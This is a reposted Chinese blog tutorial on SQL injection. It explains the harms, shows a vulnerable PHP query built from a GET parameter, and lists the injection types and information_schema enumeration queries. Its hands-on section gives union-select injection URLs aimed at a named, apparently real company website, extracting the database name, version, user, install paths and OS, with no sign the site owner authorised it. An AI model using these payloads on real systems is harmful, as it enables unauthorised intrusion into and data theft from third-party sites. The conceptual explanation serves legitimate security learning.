0


【SQL注入攻击介绍】

前言

sql注入一直以来都稳居owasp-top10榜首,近年来更是爆出很多的数据库泄露攻击事件,如最近上海某公安存在数据库泄露事件。今天简单的分析以下sql注入的一些特性和方式:


owasp-top10

本质和危害

一、sql注入的危害包括但不局限于∶
1.数据库信息泄漏︰数据库中存放的用户的隐私信息的泄露。

2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件︰修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

4.数据库被恶意操作︰数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5.服务器被远程控制︰被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或 控制操作系统。
6.破坏硬盘数据,瘫痪全系统。

二、本质是:把用户输入的数据当作代码执行。包含两个关键条件:用户能够控制输入;原本程序 要执行的代码,拼接了用户输入的数据。

如:

$id = $_GET['id'];
$query = "select * from information where id = ".$id." limit 0,1";

变量id的值由用户提交,在正常情况下,假如用户输入的是1,那么SQL语句会执行:
select * from information where id = 1 limit 0,1
但是假如用户输入一段有sQL语义的语句,..比如:1 or 1 =1 %23
那么,SQL语句在实际的执行时就会如下:
select * from information where id = 1 or 1= 1 %23

三、sql注入常常出现在如下的地方:

分类

按照提交参数方式的不同分为:GET类型、POST类型、COOKIE类型;按照提交的数据类型可分为:数字型注入、字符型注入;按照注入模式可以分为:union联合注入、报错注入、布尔盲注、时间盲注、堆查询注入。

注入一般步骤

sql注入一般步骤是:求闭合字符、选择注入模式、爆出数据库名、爆出数据表名、爆出列名、爆出字段值。

select database()
select table_name from information_schema.tables where table_schema=database()
select  column_name from informaton_schema.columns where table_name=xx and table_schema=database()
select * from 数据库名.表名

注入实战

http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13

http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13

http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,user(),5,6,7,8,9,10,11,12,13
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,@@basedir,5,6,7,8,9,10,11,12,13

http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,@@datadir,5,6,7,8,9,10,11,12,13

http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,@@version_compile_os,5,6,7,8,9,10,11,12,13

注入到此收手。

(声明:此博客文章只做学习和分享用途,未经他人授权恶意攻击概不负责)

标签: sql 安全 web安全

本文转载自: https://blog.csdn.net/qq_55213436/article/details/125941863
版权归原作者 网安第一深禽 所有, 如有侵权,请联系我们删除。

“【SQL注入攻击介绍】”的评论:

还没有评论